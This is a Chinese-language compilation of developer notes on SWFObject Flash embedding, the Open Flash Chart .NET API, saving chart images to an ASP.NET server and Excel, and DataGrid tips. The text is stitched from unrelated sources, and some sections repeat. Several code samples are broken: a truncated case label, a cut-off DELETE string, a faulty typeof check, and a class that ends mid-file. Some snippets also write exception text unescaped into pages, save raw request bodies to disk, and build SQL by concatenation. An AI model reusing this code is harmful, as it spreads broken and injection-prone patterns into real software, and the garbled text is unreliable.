swfobject.embedSWF(swfUrl, id, width, height, version, expressInstallSwfurl, flashvars, params, attributes)有5个必须的参数和4个可选的参数：

swfUrl（String，必须的）指定SWF的URL。
id（String，必须的）指定将会被Flash内容替换的HTML元素（包含你的替换内容）的id。
width（String，必须的）指定SWF的宽。
height（String，必须的）指定SWF的高。
version（String，必须的）指定你发布的SWF对应的Flash Player版本（格式为：major.minor.release）。
expressInstallSwfurl（String，可选的）指定express install SWF的URL并激活Adobe express install [ http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=6a253b75 ]。
flashvars（String，可选的）用name:value对指定你的flashvars。
params（String，可选的）用name:value对指定你的嵌套object元素的params。
attributes（String，可选的）用name:value对指定object的属性。
注意：在不破坏参数顺序的情况下，你可以忽略可选参数。如果你不想使用一个可选参数，但是会使用后面的一个可选参数，你可以简单的传入false作为参数的值。对flashvars、 params和 attributes这些JavaScript对象来说，你也可以相应的传入一个空对象{}。

<script type="text/javascript" src="swfobject.js"></script>  
  
    <script type="text/javascript">  
     swfobject.embedSWF("myContent.swf", "myContent", "300", "120", "9.0.0");   
    </script>  
-------------------------------------------------------------------------

你可以为你的object元素添加下面这些常用的可选属性（attributes）[ http://www.w3schools.com/tags/tag_object.asp ]：

id
name
styleclass（不使用class，因为class也是ECMA4的保留关键字）s
align
你可以使用下面这些专用于Flash的可选param元素[ http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=tn_12701 ]：

play
loop
menu
quality
scale
salign
wmode
bgcolor
base
swliveconnect
flashvars
devicefont [ http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=tn_13331 ]
allowscriptaccess [ http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=tn_16494 ]
seamlesstabbing [ http://www.adobe.com/support/documentation/en/flashplayer/7/releasenotes.html ]
allowfullscreen [ http://www.adobe.com/devnet/flashplayer/articles/full_screen_mode.html ]
allownetworking [ http://livedocs.adobe.com/flash/9.0/main/00001079.html ]
-------------------------------------------------------------------------------------------------------------
<script type="text/javascript">   
  
var flashvars = {};   
var params = {};   
var attributes = {};   
  
swfobject.embedSWF("myContent.swf", "myContent", "300", "120", "9.0.0","expressInstall.swf", flashvars, params, attributes);   
  
</script>  

---------------------------------------------------------------------------------------------------------------------------

<script type="text/javascript">   
  
var flashvars = {};   
flashvars.name1 = "hello";   
flashvars.name2 = "world";   
flashvars.name3 = "foobar";   
  
var params = {};   
params.menu = "false";   
  
var attributes = {};   
attributes.id = "myDynamicContent";   
attributes.name = "myDynamicContent";   
  
swfobject.embedSWF("myContent.swf", "myContent", "300", "120", "9.0.0","expressInstall.swf", flashvars, params, attributes);   
  
</script> 

-------------------------------------------------------------------

<script type="text/javascript">   
  
swfobject.embedSWF("myContent.swf", "myContent", "300", "120", "9.0.0","expressInstall.swf", {name1:"hello",name2:"world",name3:"foobar"}, {menu:"false"}, {id:"myDynamicContent",name:"myDynamicContent"});   
  
</script>
--------------------------------------------------------------------
<script type="text/javascript">   
  
var flashvars = false;   
var params = {};   
var attributes = {   
   id: "myDynamicContent",   
   name: "myDynamicContent"  
};   
  
swfobject.embedSWF("myContent.swf", "myContent", "300", "120", "9.0.0","expressInstall.swf", flashvars, params, attributes);   
  
</script>  
-------------------------------------------------------

<script type="text/javascript">   
  
var flashvars = false;   
var params = {   
   menu: "false",   
   flashvars: "name1=hello&name2=world&name3=foobar"  
};   
var attributes = {   
   id: "myDynamicContent",   
   name: "myDynamicContent"  
};   
  
swfobject.embedSWF("myContent.swf", "myContent", "300", "120", "9.0.0","expressInstall.swf", flashvars, params, attributes);   
  
</script>  

================================================

从SWFObject 1.5迁移到SWFObject 2.0的注意事项

SWFObject 2.0并不向后兼容SWFObject 1.5。
现在更倾向于在HTML页面的head标签中插入所有的脚本文件。
现在类库使用的是小写：swfobject，而不是SWFObject。
现在只能通过类库（的类）来访问方法（译者注：即静态方法），而不是像从SWFObject v1.5中那样通过SWFObject的实例来访问。
API跟以前完全不同了，而且更详尽：[ http://code.google.com/p/swfobject/wiki/SWFObject_2_0_api_javascript_dev ]。
如果浏览器对JavaScript和Flash有足够的支持，SWFObject 2.0会将整个替换内容，包括被引用的HTML容器元素，替换为Flash内容，而不是像SWFObject 1.5那样，只把被引用容器里面的内容替换为Flash内容。你现在可以这样转移你的CSS规则：为你的Flash内容定义与替换内容的容器元素相同的 id（前者将替换后者，所以你的id不会重复）。

<script type="text/javascript">

swfobject.embedSWF("open-flash-chart.swf", "my_chart", "550", "200","9.0.0", "expressInstall.swf",{"data-file":"datafile/bar.aspx"});

  </script>

效果圖： 

也可以指定寬或高為 100% ，意為占滿整個瀏覽器窗口的寬度，或者高度，如下面代碼：

<script type="text/javascript">

swfobject.embedSWF("open-flash-chart.swf", "my_chart", "550", '100%',"9.0.0", "expressInstall.swf",{"data-file":"datafile/bar.aspx"});

  </script>

效果如圖： 

Data Lines
曲線圖，包括三種類型： Line( 平滑曲線 ) 、 LineDot( 帶實心點的曲線 ) 、 LineHollow( 帶空心點的曲線 ) 。如圖： 

此三種類型都有以下三個屬性：

Width: 寬度，即曲線的粗細；

Dotsize: 實心點的大小；

Halosize: 空心點的大小；

如上圖中 LineDot 的實現代碼：

OpenFlashChart.LineDot line1 = new LineDot();

        line1.Values = data1;

        line1.HaloSize = 0;

        line1.Width = 2;

        line1.DotSize = 5;

Bar Chart
在 .NET 中沒有 bar_outline 。

Set_key 用來設置圖例，顏色與對應的 Bar 一致。 如 bar.Set_Key("Test",12);

Values 設置 Bar 的值，如：

List<double> values = new List<double>();      

        for (int i = 0; i < 13; i++)

        {

            values.Add(random.Next(i, i * 2));

        }

        bar.Values = values;

見下圖：

也可以在一個 chart 中顯示多組 Bar ：如圖： 

     實現代碼如下：

   Bar bar = new OpenFlashChart.Bar(); 

        Random random = new Random();

        bar.Colour = "#345";       

        bar.Set_Key("Test",12);  

        List<double> values = new List<double>();

        List<string> aa=new List<string>();

        for (int i = 0; i < 13; i++)

        {

            values.Add(random.Next(i, i * 2));

               aa.Add(i.ToString()+" 月 ");

        }

        bar.Values = values;

        Bar bar1 = new Bar();

        bar1.Colour = "#ff0000";

        bar1.Text = "test2";

        List<double> bb = new List<double>();

        for (int i = 0; i < 13; i++)

        {

           bb.Add(random.Next(i, i * 2)+6);

        }

        bar1.Values = bb;

        chart.AddElement(bar1);

        chart.AddElement(bar);

3D Bar Chart
X_Axis.Set3D() 方法設置 X 軸的 3D 效果，如 chart.X_Axis.Set3D(12); 時： 

Glass Bar Chart
Fade Bar Chart
.net 中沒有此類型。

Sketch Bars
在創建一個新的 Sketch Bar 時需要指定三個參數：

BarSketch bar = new OpenFlashChart.BarSketch("#ff0000", "#4f1", 4); 分別為 Bar 的顏色，外圍邊線的顏色， Offset ；

此外還可以但都設置這三個屬性，分別為：

bar.Colour 、 bar.OutlineColour 、 bar.offSet;

Offset 為 BarSketch 的整潔程度，默認值為 2. 如 bar.Offset =1 時 :

     bar.Offset =9 時 :

Fillalpha 屬性設置當鼠標移上 Bar 時顏色變化的起始值，如 bar.Colour = "# ff0000 " ; bar.Fillalpha = 0.4; 當鼠標移上 Bar 時紅色從 0.4 到 1;

Area Bars
.net 中沒有此類型。

Bars+Lines
同時創建兩個 ( 或者多個 )Bar 對象和 Line 對象， 最后通過 chart.AddElement(); 將其都加入到 chart 中來顯示：

實現代碼如下：

Bar bar = new OpenFlashChart.Bar();

Random random = new Random();

bar.Colour = "#345";

        bar.Fillalpha = 0.4;

        bar.Set_Key("Test",12);

        List<double> values = new List<double>();         

        for (int i = 0; i < 13; i++)

        {

            values.Add(random.Next(i, i * 2));

        }

         bar.Values = values;

        List<double> data1 = new List<double>();

        for (double i = 0; i < 6.2; i += 0.2)

        {          

            data1.Add(Math.Sin(i) * 1.9 + 4);

        }

        OpenFlashChart.Line line1 = new Line();

        line1.Values = data1;

        line1.HaloSize = 0;

        line1.Width = 2;

        line1.DotSize = 5;

        line1.Set_Key("Line1", 12);

        line1.Colour = "#ff0000";

line 1 .DotStyleType.Tip="#val#%";// 鼠标悬浮时显示

        chart.AddElement(line1);

        chart.AddElement(bar);

Pie Chart
餅狀圖， Values 屬性設置各部分的值，如

        List<PieValue> values = new List<PieValue>();

         for (int i = 0; i < 12; i++)

        {

            values.Add(new PieValue(random.NextDouble(),"Pie"+i));

            labels.Add(i.ToString());

        }

        values.Add(0.2);

        pie.Values = values;

Colors 屬性設置顏色，如 pie.Colours = new string[] { "#00FA9A", "#FFFF00", "#0033FF", "#000000" }; 效果圖： 

Pie Chart Links
.net 中沒有此類型。

Scatter Chart
Mixed Scatter
High Low Close
.net 中沒有此類型。

Candle
.net 中沒有此類型。

X Axis
X Axis Labels
設置 X 軸的標簽 值：

List<string> aa=new List<string>();     

  for (int i = 0; i < 13; i++)

       {

               aa.Add(i.ToString()+" 月 ");

        }

         chart.X_Axis.Labels.Values=aa ; 如圖：

      chart.X_Axis.Labels.SetLabels(x_axis); 没有上面的 Values 属性

chart.X_Axis.TickHeight = "10"; 如圖：

chart.X_Axis.Labels.Rotate 設置 X 軸標簽的旋轉方式，可選擇 horizontal 或者 vertical, vertical 旋轉時中文不會顯示，此處為 Bug 。 .NET 下選擇 45degrees 旋转沒有效果。

如：

List<string> aa=new List<string>();     

  for (int i = 0; i < 13; i++)

       {

               aa.Add(i.ToString()+" 月 ");

        }

         chart.X_Axis.Labels.Values=aa ;

chart.X_Axis.Labels.Rotate = "vertical"; 時如圖： 

chart.X_Axis.Labels.Vertical = true; 設置 X 軸的標簽是否為垂直旋轉，

chart.X_Axis.Labels.Color = "#ff0000"; 設置 X 軸標簽的顏色。

X Axis Labels Step
設置 X 軸標簽的間隔值 chart.X_Axis.Steps = 2; 時如圖： 

X Axis Legend
chart.Y_Legend  不能显示中文，不能显示英文

設置 X 軸的圖例， chart.X_Legend = new Legend("x-axis legend"); 時如圖： 

Y Axis
Y Axis
Steps 屬性設置 Y 軸標簽的間距值，如 chart.Y_Axis.Steps = 2; 時：

TickLength 屬性 如圖 :

Color 用來設置 Y 軸的顏色： chart.Y_Axis.Colour = "#FF33FF"; 時，如圖： 

Y Axis Labels-off
.NET 中沒有此設置。

Right Y Axis
.NET 中沒有此設置。

Y Axis Legend
設置 Y 軸的圖例， chart.Y_Legend = new Legend("y-axis legend"); 時如圖： 

Y Min Max
設置 Y 軸的最值， chart.Y_Axis.SetRange(0, 10); 時如圖： 

On Click Events
在生成的圖像上點擊觸發某個事件， .NET 里沒有。

Bar Links
Line Links
Tooltips
Tool tip
設置鼠标在上面悬停时显示的内容；

Line extras
線圖時， chart.Tooltip = new ToolTip("my tip #val#"); 如圖： 

Bar extras
棒狀圖時， chart.Tooltip = new ToolTip("TooptipTest   #val#"); 如圖：

Other bits
Chart Title
Chart 的標題，如 chart.Title = new Title("Bar 3D"); 時效果圖：

Line and Key
顯示多組數據時， Set_Key() 方法來設置圖例

如 line1.Set_Key("Line1",12);

  Line2.Set_Key("Line2",12);

Line3.Set_Key("Line3",12); 時效果圖： 

Background Style
chart.Bgcolor = "#FF00FF"; 設置 chart 的背景色：

Background Image
.net 沒有這個屬性設置。

Inner Background Style
.net 沒有這個屬性設置。

Null datavalues
X Offset
X 軸的零點與 Y 軸之間是否有間距 ， 默認為 false, chart.X_Axis.Offset = true; 時： 

Format Numbers
.NET 沒有這個方法。

< script type= "text/javascript" src= "js/swfobject.js" ></ script>

< script type= "text/javascript" >

swfobject.embedSWF (

  "open-flash-chart.swf" , "my_chart" ,

  "550" , "250" , "9.0.0" , "expressInstall.swf" ,

  { "data-file" : "gallery/3d-bar-chart.php" } ) ;

</ script>

// 这里使用jQuery 来操作，不喜欢这个框架的，可以使用Javascript 。查看：http://teethgrinder.co.uk/open-flash-chart-2/save-image-js.php

< script type= "text/javascript" >

OFC = {} ;

OFC.jquery = {

    name : "jQuery" ,

    version: function ( src) { return $( '#' + src)[ 0 ] .get_version () } ,

    rasterize: function ( src, dst) { $( '#' + dst) .replaceWith ( OFC.jquery .image ( src)) } ,

    image: function ( src) { return "<img src='data:image/png;base64," + $( '#' + src)[ 0 ] .get_img_binary () + "' />" } ,

    popup: function ( src) {

        var img_win = window.open ( '' , 'Charts: Export as Image' )

        with ( img_win.document ) {

            write ( '<html><head><title>Charts: Export as Image< \/ title>< \/ head><body>' + OFC.jquery .image ( src) + '< \/ body>< \/ html>' ) }

               // stop the 'loading...' message

               img_win.document .close () ;

     }

}

// Using an object as namespaces is JS Best Practice. I like the Control.XXX style.

//if (!Control) {var Control = {}}

//if (typeof(Control == "undefined")) {var Control = {}}

if ( typeof ( Control == "undefined" )) { var Control = { OFC: OFC.jquery }}

// By default, right-clicking on OFC and choosing "save image locally" calls this function.

// You are free to change the code in OFC and call my wrapper (Control.OFC.your_favorite_save_method)

// function save_image() { alert(1); Control.OFC.popup('my_chart') }

function save_image() { alert ( 1 ) ; OFC.jquery .popup ( 'my_chart' ) }

function moo() { alert ( 99 ) ; } ;

</ script>

<INPUT TYPE =BUTTON OnClick ="OFC.jquery.rasterize('my_chart', 'img_chart_1')" VALUE ="Add image in the table" >

OFC.jquery.rasterize('my_chart', 'img_chart_1')     

//

rasterize 是转换成图片

my_chart 、  img_chart_1 为div 的ID  my_chart 为显示FLASH 的。。

mg_chart_1 就是把Image 转换成图片显示的ID

OFC.jquery.rasterize('my_chart', 'my_chart'); 这个就在原div 里转换成图片

OFC.jquery.popup('my_chart')  为打开一个新页面。输出一个图片 。
 
 
二 、使用 Post 圖片到服務器
这个又有两种传递方式。先介绍复杂的，自己研究了好久的。 - -
 
 
一： javascirpt 傳递 base64 編碼圖片
 
Image: function ( src) { return "<img src='data:image/png;base64," + document.getElementById ( src) .get_img_binary () + "' />" } ,
 
1 ）、 src 為 Flash DIV 的 ID
2 ）、 data:image/png;base64," + document.getElementById ( src) .get_img_binary () 為 flash 轉換成 Base64 格式的圖片
 
 
二、 Post the image 把圖片上傳至服務器
 
function post_image_2(debug)
{
 
    url = "Save_image.aspx?name=" + $("#my_chart" )[0].get_img_binary() +"" ;
    var ofc = findSWF("my_chart" );
    // call our objects image_saved() method when finished
    x = ofc.post_image( url, 'my_chart.image_saved' , debug );
}
 
1) 、 url 為把圖片傳到的頁面， name 就是傳遞圖片的參數 ----
$("#my_chart" )[0].get_img_binary() 為 Base64 格式的圖片 這里用到 jQuery 要引用
2 ）、 post_image 第二個參數只是彈出對話窗，顯示的字符串
3 ） debug 這里是 Boolen ， true 是已新窗口形式打開 Save_image.aspx 頁面，
                          False 在本窗口處理，不打開頁面，但執行 Save_image.aspx 頁面 有回發到該頁面
 

注：：：： IE6 、 IE7 是不支持 Base64 編碼 所以在 IE6 、 IE7 中不能彈窗，不能顯示圖片
 
 
三、 Save_image.aspx 頁的編碼
 
1、             由於 Base64 編碼在地址傳值時，會把字符串的“ + ”轉成“ ”（空格），所以在取值時需要替換
  string strname = Request.QueryString["name" ].ToString();
            Base64ToImage( strname.Replace(' ' , '+' ));
 
2 、
    /// <summary>
    /// 把 Base64 編碼轉成 圖片保存至服務器
    /// </summary>
    /// <param name="base64String"></param>
public void Base64ToImage(string base64String)
    {
    
 
       // base64String.Substring(0, base64String.Length / 40 * 40) 主要是 Base64 編碼長度有規定必須是 0 或 4 的整數倍，所以為免出錯，把長度處理一下
      try
         {
 
            byte [] imageBytes = Convert .FromBase64String(base64String.Substring(0, base64String.Length / 40 * 40));
 
 
            // byte[] imageBytes = Convert.FromBase64String(base64String.Substring(0,128));
            MemoryStream ms = new MemoryStream (imageBytes, 0,
              imageBytes.Length);
 
            // Convert byte[] to Image
            ms.Write(imageBytes, 0, imageBytes.Length);
            System.Drawing.Image image = System.Drawing.Image .FromStream(ms, true );
 
            image.Save(Server.MapPath("Report" ), ImageFormat .Png);
        }
        catch (Exception ex)
        {
            Response.Write("<javascript>alert('" + ex.Message + "')</javascript>" );
           
 
        }
        //}
    }
 
 
在使用Convert.ToBase64String() 对字符串进行Base64 编码时，注意的几点：
   例：string s = "Hello";
      byte[] bytes = Convert.FromBase64String(s);
以上代码在运行时会抛出FormatException 异常. 提示为：Base-64 字符数组的无效长度
原因：
当Convert.FromBase64String 方法的参数s 的长度小于4 或不是4 的偶数倍时，将会抛出FormatException 。
  
   例:
       Convert.FromBase64String("Hell");      // Normal.
       Convert.FromBase64String("Hell ");     // Normal. （忽略空格）
       Convert.FromBase64String("Hello!");     // throw FormatException.
       Convert.FromBase64String("Hello Net"); // Normal. （忽略空格）
 
 
 
附：
// 把圖片轉換成 Base64 編碼的函數
    public string ImageToBase64(System.Drawing.Image image, System.Drawing.Imaging.ImageFormat format)
    {
        using (MemoryStream ms = new MemoryStream ())
        {
            // Convert Image to byte[]
            image.Save(ms, format);
            byte [] imageBytes = ms.ToArray();
 
            // Convert byte[] to Base64 String
            string base64String = Convert .ToBase64String(imageBytes);
            return base64String;
        }
    }
 
 
 
 
四、圖片插入 EXCEL 并 保存到服務器
1 ）、 InsertPictureToExcel 類
 
    /**/
    /// <summary>
    /// InsertPictureToExcel 的摘要说明
    /// </summary>
    public class InsertPictureToExcel
    {
      
        private Excel.Application m_objExcel = null ;
        private Excel.Workbooks m_objBooks = null ;
        private Excel._Workbook m_objBook = null ;
        private Excel.Sheets m_objSheets = null ;
        private Excel._Worksheet m_objSheet = null ;
        private Excel.Range m_objRange = null ;
        private object m_objOpt = System.Reflection.Missing .Value;
 
        /**/
        /// <summary>
        /// 打开没有模板的操作。
        /// </summary>
        public void Open()
        {
            this .Open(String .Empty);
        }
 
        /**/
        /// <summary>
        /// 功能：实现Excel 应用程序的打开
         /// </summary>
        /// <param name="TemplateFilePath"> 模板文件物理路径 </param>
        public void Open(string TemplateFilePath)
        {
            // 打开对象
            m_objExcel = new Excel.Application ();
            m_objExcel.Visible = false ;
             m_objExcel.DisplayAlerts = false ;
 
            if (m_objExcel.Version != "11.0" )
            {
                //MessageBox.Show(" 您的 Excel 版本不是 11.0 （Office 2003 ），操作可能会出现问题。");
                m_objExcel.Quit();
                return ;
            }
 
             m_objBooks = (Excel.Workbooks )m_objExcel.Workbooks;
            if (TemplateFilePath.Equals(String .Empty))
            {
                m_objBook = (Excel._Workbook )(m_objBooks.Add(m_objOpt));
            }
            else
            {
                 m_objBook = m_objBooks.Open(TemplateFilePath, m_objOpt, m_objOpt, m_objOpt, m_objOpt,
                m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt);
            }
            m_objSheets = (Excel.Sheets )m_objBook.Worksheets;
            m_objSheet = (Excel._Worksheet )(m_objSheets.get_Item(1));
          //m_objExcel.WorkbookBeforeClose += new Excel.AppEvents_WorkbookBeforeCloseEventHandler(m_objExcel_WorkbookBeforeClose);
 
// 這里 WEB 不能用，沒去研究，先注釋 ，在 WNDOW FORMS 里可以
        }
 
        private void m_objExcel_WorkbookBeforeClose(Excel.Workbook m_objBooks, ref bool _Cancel)
        {
            //MessageBox.Show(" 保存完毕！");
        }
 
        /**/
        /// <summary>
        /// 将图片插入到指定的单元格位置。
        /// 注意：图片必须是绝对物理路径
        /// </summary>
        /// <param name="RangeName"> 单元格名称，例如：B4 </param>
        /// <param name="PicturePath"> 要插入图片的绝对路径。 </param>
        public void InsertPicture(string RangeName, string PicturePath)
        {
            m_objRange = m_objSheet.get_Range(RangeName, m_objOpt);
            m_objRange.Select();
            Excel.Pictures pics = (Excel.Pictures )m_objSheet.Pictures(m_objOpt);
            pics.Insert(PicturePath, m_objOpt);
        }
 
        /**/
        // <summary>
         // 将图片插入到指定的单元格位置，并设置图片的宽度和高度。
        // 注意：图片必须是绝对物理路径
        // </summary>
        // <param name="RangeName"> 单元格名称，例如：B4</param>
        // <param name="PicturePath"> 要插入图片的绝对路径。</param>
        // <param name="PictuteWidth"> 插入后，图片在Excel 中显示的宽度。</param>
        // <param name="PictureHeight"> 插入后，图片在Excel 中显示的高度。</param>
        //public void InsertPicture(string RangeName, string PicturePath, float PictuteWidth, float PictureHeight)
        //{
        //    m_objRange = m_objSheet.get_Range(RangeName, m_objOpt);
        //    m_objRange.Select();
        //    float PicLeft, PicTop;
        //    PicLeft = Convert.ToSingle(m_objRange.Left);
        //    PicTop = Convert.ToSingle(m_objRange.Top);
        //    参数含义：
        //    图片路径
        //    是否链接到文件
        //    图片插入时是否随文档一起保存
        //    图片在文档中的坐标位置（单位： points ）
        //    图片显示的宽度和高度（单位： points ）
        //    参数详细信息参见：http://msdn2.microsoft.com/zh-cn/library/aa221765(office.11).aspx
        //    m_objSheet.Shapes.AddPicture(PicturePath, Microsoft.Office.Core.MsoTriState.msoFalse,
        //    Microsoft.Office.Core.MsoTriState.msoTrue, PicLeft, PicTop, PictuteWidth, PictureHeight);
        //}
 
        /**/
        /// <summary>
        /// 将Excel 文件保存到指定的目录，目录必须事先存在，文件名称不一定要存在。
        /// </summary>
        /// <param name="OutputFilePath"> 要保存成的文件的全路径。 </param>
        public void SaveFile(string OutputFilePath)
        {
            m_objBook.SaveAs(OutputFilePath, m_objOpt, m_objOpt,
            m_objOpt, m_objOpt, m_objOpt, Excel.XlSaveAsAccessMode .xlNoChange,
            m_objOpt, m_objOpt, m_objOpt, m_objOpt, m_objOpt);
 
            this .Close();
        }
        /**/
        /// <summary>
        /// 关闭应用程序
        /// </summary>
        private void Close()
        {
            m_objBook.Close(false , m_objOpt, m_objOpt);
            m_objExcel.Quit();
        }
 
        /**/
        /// <summary>
        /// 释放所引用的COM 对象。注意：这个过程一定要执行。
        /// </summary>
        public void Dispose()
        {
            ReleaseObj(m_objSheets);
             ReleaseObj(m_objBook);
            ReleaseObj(m_objBooks);
            ReleaseObj(m_objExcel);
            System.GC .Collect();
            System.GC .WaitForPendingFinalizers();
        }
        /**/
        /// <summary>
        /// 释放对象，内部调用
        /// </summary>
        /// <param name="o"></param>
        private void ReleaseObj(object o)
        {
            try
            {
                System.Runtime.InteropServices.Marshal .ReleaseComObject(o);
            }
            catch { }
             finally { o = null ; }
        }
 
 
 
    }
 
 
 
 
2 ）、調用類方法 --- 完成圖片插入 Excel 并保存至服務器
    // 圖片保存到Excel ，并將Excel 保存到服務器
            string picPath1 = Server.MapPath("Report.jpg" ).ToString();
            InsertPictureToExcel ipt = new InsertPictureToExcel ();
             ipt.Open();
            ipt.InsertPicture("B2" , picPath1);
            // ipt.InsertPicture("B8", picPath2, 120, 80);
            ipt.SaveFile(Server.MapPath("ExcelTest1.xls" ));
            ipt.Dispose();
 
 
 
五、 Excel 提供下載
        
            FileInfo fi = new FileInfo (Server.MapPath("ExcelTest1.xls" ));
            if (fi.Exists)
            {
                Response.Clear();
                // string file_name = fi.Name.Substring(randomnum.ToString().Length, fi.Name.Length - randomnum.ToString().Length);
                Response.AddHeader("Content-Disposition" , "attachment; filename=" + System.Web.HttpUtility .UrlEncode("FRE01011.xls" , System.Text.Encoding .UTF8));
                Response.AddHeader("Content-Length" , fi.Length.ToString());
                 Response.ContentType = "application/octet-stream" ;
                Response.Filter.Close();
                Response.WriteFile(fi.FullName);
                HttpContext .Current.ApplicationInstance.CompleteRequest();
            }
 
 
 
 
 
上面的方法浏览器兼容不好。其实 openflashchart 内部就有传递一个参数。当时不懂。。现在也不太懂。。呵。。看下面。
 
 
function post_image()  {
  $("#my_chart" )[0].post_image( "Save_image.aspx?name=postimage" , '' , true );
    }
Save_image.aspx?name=postimage" , 其实这个方法它应该做了把图片 post 页面去了。。（不知道怎么实现！！）
 
在 Save_image.aspx 页只要
Request.SaveAs(Server.MapPath("Report.jpg" ).ToString(), false ); 就能保存到服务器。。插入 EXCEL 和给客户端下载 与上同。！

接收参数：
string a = Request.QueryString("id");
string b = Request.QueryString("id1");

2.为按钮添加对话框

传送参数：
response.write("<script>window.open('*.aspx?id="+this.DropDownList1.SelectIndex+"&id1="+...+"')</script>")

接收参数：
string a = Request.QueryString("id");
string b = Request.QueryString("id1");

2.为按钮添加对话框

Button1.Attributes.Add("onclick","return confirm('确认?')");

button.attributes.add("onclick","if(confirm('are you sure...?')){return true;}else{return false;}")

3.删除表格选定记录

int intEmpID = (int)MyDataGrid.DataKeys[e.Item.ItemIndex];
string deleteCmd = "DELETE from Employee where emp_id = "
myTableCell = e.Item.Cells[14];
LinkButton myDeleteButton ;
myDeleteButton = (LinkButton)myTableCell.Controls[0];
myDeleteButton.Attributes.Add("onclick","return confirm('您是否确定要删除这条信息');");
break;
default:
break;
}

}

5.点击表格行链接另一页

private void grdCustomer_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)
{
//点击表格打开
if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
e.Item.Attributes.Add("onclick","window.open('Default.aspx?id=" + e.Item.Cells[0].Text + "');");
}

双击表格连接到另一页
在itemDataBind事件中
if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
{
string OrderItemID =e.item.cells[1].Text;
...
e.item.Attributes.Add("ondblclick", "location.href='../ShippedGrid.aspx?id=" + OrderItemID + "'");
}
双击表格打开新一页
if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)
{
string OrderItemID =e.item.cells[1].Text;
...
e.item.Attributes.Add("ondblclick", "open('../ShippedGrid.aspx?id=" + OrderItemID + "')");
}
★特别注意：【?id=】 处不能为 【?id =】

6.表格超连接列传递参数
<asp:HyperLinkColumn Target="_blank" headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id='<%# DataBinder.Eval(Container.DataItem, "数据字段1")%>' & DataBinder.Eval(Container.DataItem, "数据字段2")%>' />

7.表格点击改变颜色
if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
{
e.Item.Attributes.Add("onclick","this.style.backgroundColor='#99cc00';this.style.color='buttontext';this.style.cursor='default';");
}

写在DataGrid的_ItemDataBound里
if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)
{
e.Item.Attributes.Add("onmouseover","this.style.backgroundColor='#99cc00';this.style.color='buttontext';this.style.cursor='default';");
e.Item.Attributes.Add("onmouseout","this.style.backgroundColor='';this.style.color='';");
}

8.关于日期格式

日期格式设定
DataFormatString="{0:yyyy-MM-dd}"

我觉得应该在itembound事件中
e.items.cell["你的列"].text=DateTime.Parse(e.items.cell["你的列"].text.ToString("yyyy-MM-dd"))

9.获取错误信息并到指定页面
不要使用Response.Redirect,而应该使用Server.Transfer
e.g
// in global.asax
protected void Application_Error(Object sender, EventArgs e) {
if (Server.GetLastError() is HttpUnhandledException)
Server.Transfer("MyErrorPage.aspx");

//其余的非HttpUnhandledException异常交给ASP.NET自己处理就okay了 :)
}

Redirect会导致post－back的产生从而丢失了错误信息，所以页面导向应该直接在服务器端执行，这样就可以在错误处理页面得到出错信息并进行相应的处理

10.清空Cookie
Cookie.Expires=[DateTime];
Response.Cookies("UserName").Expires = 0

11.自定义异常处理

//自定义异常处理类
using System;
using System.Diagnostics;

namespace MyAppException
{
/// <summary>
/// 从系统异常类ApplicationException继承的应用程序异常处理类。
/// 自动将异常内容记录到Windows NT/2000的应用程序日志
/// </summary>
public class AppException:System.ApplicationException
{
public AppException()
{
if (ApplicationConfiguration.EventLogEnabled)
LogEvent("出现一个未知错误。");
}

public AppException(string message)
{
LogEvent(message);
}

public AppException(string message,Exception innerException)
{
LogEvent(message);
if (innerException != null)
{
LogEvent(innerException.Message);
}
}

//日志记录类
using System;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;

namespace MyEventLog
{
/// <summary>
/// 事件日志记录类，提供事件日志记录支持
/// <remarks>
/// 定义了4个日志记录方法 (error, warning, info, trace)
/// </remarks>
/// </summary>
public class ApplicationLog
{
/// <summary>
/// 将错误信息记录到Win2000/NT事件日志中
/// <param >需要记录的文本信息</param>
/// </summary>
public static void WriteError(String message)
{

WriteLog(TraceLevel.Error, message);
}

/// <summary>
/// 将警告信息记录到Win2000/NT事件日志中
/// <param >需要记录的文本信息</param>
/// </summary>
public static void WriteWarning(String message)
{

WriteLog(TraceLevel.Warning, message);
}

/// <summary>
/// 将提示信息记录到Win2000/NT事件日志中
/// <param >需要记录的文本信息</param>
/// </summary>
public static void WriteInfo(String message)
{
WriteLog(TraceLevel.Info, message);
}
/// <summary>
/// 将跟踪信息记录到Win2000/NT事件日志中
/// <param >需要记录的文本信息</param>
/// </summary>
public static void WriteTrace(String message)
{

WriteLog(TraceLevel.Verbose, message);
}

/// <summary>
/// 格式化记录到事件日志的文本信息格式
/// <param >需要格式化的异常对象</param>
/// <param >异常信息标题字符串.</param>
/// <retvalue>
/// <para>格式后的异常信息字符串，包括异常内容和跟踪堆栈.</para>
/// </retvalue>
/// </summary>
public static String FormatException(Exception ex, String catchInfo)
{
StringBuilder strBuilder = new StringBuilder();
if (catchInfo != String.Empty)
{
strBuilder.Append(catchInfo).Append("\r\n");
}
strBuilder.Append(ex.Message).Append("\r\n").Append(ex.StackTrace);
return strBuilder.ToString();
}

/// <summary>
/// 实际事件日志写入方法
/// <param >要记录信息的级别（error,warning,info,trace).</param>
/// <param >要记录的文本.</param>
/// </summary>
private static void WriteLog(TraceLevel level, String messageText)
{

try
{
EventLogEntryType LogEntryType;
switch (level)
{
case TraceLevel.Error:
LogEntryType = EventLogEntryType.Error;
break;
case TraceLevel.Warning:
LogEntryType = EventLogEntryType.Warning;
break;
case TraceLevel.Inf
LogEntryType = EventLogEntryType.Information;
break;
case TraceLevel.Verbose:
LogEntryType = EventLogEntryType.SuccessAudit;
break;
default:
LogEntryType = EventLogEntryType.SuccessAudit;
break;
}

EventLog eventLog = new EventLog("Application", ApplicationConfiguration.EventLogMachineName, ApplicationConfiguration.EventLogSourceName );
//写入事件日志
